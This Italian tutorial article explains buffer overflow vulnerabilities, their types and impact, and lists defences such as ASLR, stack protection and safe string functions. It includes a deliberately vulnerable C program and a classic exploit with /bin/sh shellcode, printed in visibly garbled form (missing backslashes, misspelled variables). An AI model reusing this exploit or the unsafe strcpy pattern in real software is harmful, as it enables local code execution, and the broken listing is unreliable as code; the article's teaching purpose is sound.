Buffer Overflow

Oggi parliamo della vulnerabilità  di tipo Buffer Overflow, anche detta “Buffer Overrun”. Con buffer s’intende una “zona” di conservazione temporanea di dati. Si verifica una vulnerabilità Buffer Overflow quando si prova a scrivere più dati in un buffer di quanti ne possa contenere. L’obiettivo di questa vulnerabilità è quello di “sovvertire” o, per meglio dire, sovrascrivere il normale funzionamento di un programma (nello specifico, di una funzione specifica del programma) per ottenere il controllo del pc/server o renderlo inaccessibile.

Si tratta di una tipologia di vulnerabilità particolarmente critica ed impattante che può portare a gravi problematiche di sicurezza. Tendenzialmente, i linguaggi di programmazione più vulnerabili a questa tipologia di vulnerabilità sono C e C++ mentre esse sono più rare in linguaggi come Java e Python (ad eccezione degli overflow nel loro interprete).

L’impatto di una vulnerabilità di tipo Buffer Overflow è tendenzialmente molto critico e può portare, principalmente, a queste conseguenze:

  1. Esecuzione di codice arbitrario: l’attaccante può eseguire del codice sul sistema, consentendogli di prendere il controllo del sistema o di rubare dati, ovviamente con rispetto ai privilegi con cui quel programma/servizio è stato eseguito. Nel caso in cui il programma sia inteso per essere fruito attraverso internet, questa tipologia di vulnerabilità può essere anche catalogata come Remote Code Execution
  2. Disservizio: mediante una vulnerabilità di tipo Buffer Overflow è possibile ottenere un disservizio sotto vari aspetti, di seguito elencati. In ogni caso, in molti dei casi elencati l’effetto complessivo è quello di ottenere un Denial of Service:
    1. Crash del programma: il programma in esecuzione può dunque essere arrestato in modo non previsto causando, potenzialmente, anche perdita di dati. 
    2. Memory Consumption: il programma può esaurire tutta la memoria disponibile sul sistema, rendendolo dunque inutilizzabile
    3. Distorsione dei dati: avendo controllo sul buffer, i dati al suo interno possono essere danneggiati rendendoli dunque potenzialmente illeggibili o inutilizzabili
    4. Instabilità del sistema: il sistema operativo può diventare instabile causando, a sua volta, crash o altri problemi operativi.

L’impatto è quindi statisticamente molto critico.

Esistono diversi tipi di vulnerabilità Buffer Overflow, sostanzialmente distinte a seconda delle posizioni in cui si verifica l’errore. Quelli più comuni sono:

  1. Overflow dello stack: lo stack è quella parte della memoria usata per memorizzare i record di attivazione delle funzioni costituiti da:
    1. L’indirizzo di codice dell’istruzione successiva a quella che ha invocato la funzione (indirizzo di ritorno o “return address”);
    2. I parametri della funzione
    3. Le variabili locali della funzione.
  2. Overflow del heap: l’heap, o memoria dinamica, è la parte della memoria che consente di allocare spazi di memoria la cui dimensione si conosce solo in fase di esecuzione. Viene utilizzata per memorizzare oggetti creati durante l’esecuzione del programma: quando un oggetto viene creato, infatti, l’heap alloca spazio per l’oggetto stesso e restituisce un puntatore all’oggetto in modo che il programma possa accedere all’oggetto.
  3. Overflow di memoria condivisa: la memoria condivisa è un tipo di memoria condivisa tra più processi che viene utilizzata per migliorare l’efficienza dei programmi consentendo loro di accedere agli stessi dati senza doverli copiare tra i processi. Ad esempio, se l’area di memoria contiene un puntatore ad un’altra area di memoria, l’overrun potrebbe modificare il puntatore.

Supponiamo di avere il seguente codice scritto in C, che chiameremo “bof1.c”:

#include <string.h>
#include <stdio.h>
void f(char *s);
int main (int argc, char **argv) {
    if (! argv[1]) {
        exit(1);
    }
    else {
        f(argv[1]);
    }
}
void f(char *s) {
    char b[80];
    printf("Indirizzo del buffer: %pn", b);
    strcpy(b,s);
}

In questo caso, questo semplice codice contiene una funzione che accetta come parametro una stringa fornita dall’utente – copiandola poi nel buffer “b” di 80 bytes – senza prima verificare che la dimensione del buffer sia sufficiente a contenerla. Un attaccante potrebbe quindi inserire del codice (ovverosia quello che viene denominato “shellcode”) per ottenere, appunto, una shell di controllo. Per sfruttare tale vulnerabilità, dunque, ad un attaccante basterebbe eseguire il seguente codice:  

/* exp1.c */
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main (int argv, char **argv) {
    char x[100];
    char shellcode[] =
    "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
    "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
    "x80xe8xdcxffxffxff/bin/sh";
    unsigned int addr;
    if (! arv[1]) {
        printf("usage: exploit <address>n");
    } else {
        add = strtoul (argv[1], NULL, 16);
        memset (x, 'A', 91);
        memcpy (x, shellcode, 45);
        memcpy (x+92, &addr, sizeof(addr));
        x[99] = '';
        execl("./bof1", "bof1", x, NULL);
        perror("Risultato esecuzione");
        exit(1);
    }
}

 L’esempio del codice soprastante è preso dalla risorsa pubblicamente disponibile sul sito dell’Università degli Studi di Siena. Consigliamo, per l’approfondimento tecnico, di consultare queste risorse:

  1. Hacktips (ITA): a questo link troverete molte indicazioni passo passo per studiare nel dettaglio lo sviluppo di Buffer Overflow
  2. Unisa (ITA): in questa risorsa troverete spiegazioni tecniche dettagliate su cos’è un buffer overflow
  3. OWASP (ENG): qui troverete, oltre ad una descrizione dettagliata e relativi esempi, anche i relativi controlli che potrebbero essere implementati per mitigare e rilevare questa tipologia di vulnerabilità prima della messa in produzione del codice.

Esistono varie tecniche o metodologie di difesa:

  1. Scrivere codice sicuro, ovverosia seguire almeno tre regole:
    • Privilegio del minor privilegio possibile: un programma deve avere strettamente i privilegi di cui necessita e null’altro. Questo principio serve a minimizzare l’impatto di una potenziale vulnerabilità.
    • Scrivere codice semplice: nei programmi monolitici la possibilità d’introdurre vulnerabilità è decisamente maggiore oltre al fatto che siano più difficilmente testabili e manutentabili.
    • Non fidarsi mai degli input: ogni input deve essere verificato e validato prima di essere utilizzato, anche nel caso in cui sia da linea di comando.
  2. Buffer non eseguibili. L’idea alla base è quella di rendere il segmento dati dello spazio di indirizzamento del programma non eseguibile. Questo approccio, facilmente implementabile a livello di stack poiché non causa perdite sensibili di prestazioni e non richiede cambiamenti né ricompilazione (con qualche eccezione trascurabile), può però portare a problemi di compatibilità nel caso della sezione dati. 
  3. Introdurre nel compilatore tecniche che permettano controlli sull’integrità dell’indirizzo di ritorno.
  4. Utilizzare programmi come StackGuard o ProPolice, entrambi finalizzati alla protezione dello stack
  5. Controllare la dimensione degli array. Sostanzialmente, se in un array non si può scrivere oltra la sua dimensione, non è possibile corrompere i dati adiacenti nello stack. 
  6. Controllare l’integrità dei puntatori. Sostanzialmente, si cerca di verificare se un puntatore è stato modificato prima del suo utilizzo. In questo modo, anche qualora questo venisse modificato, non verrà utilizzato.
  7. Utilizzare l’Address Space Layout Randomization (ASLR). L’ASLR – ovvero la casualizzazione dello spazio degli indirizzi – è una misura di protezione che consiste nel rendere casuale (per quanto possibile) l’indirizzo delle funzioni di libreria e delle più importanti aree di memoria. Questa tecnica fa sì che il programma malevolo cerchi di identificare gli indirizzi di memoria che gli servono per provocare, tendenzialmente, l’esecuzione di codice generi degli errori. Questo provocherà delle eccezioni nel programma della vittima che, probabilmente, causeranno un crash nell’applicativo/servizio ma consentirà di essere visibile all’utente o alle soluzioni di sicurezza come, ad esempio, i software antivirus.
  8. Utilizzare funzioni sicure. Funzioni come strcpy, sprintf o gets sono rinomatamente considerate insicure. Si consiglia di usare strncpy, snprintf o fgets.

Altre tecniche e misure di protezione contro i Buffer Overflow le potete trovare al seguente link.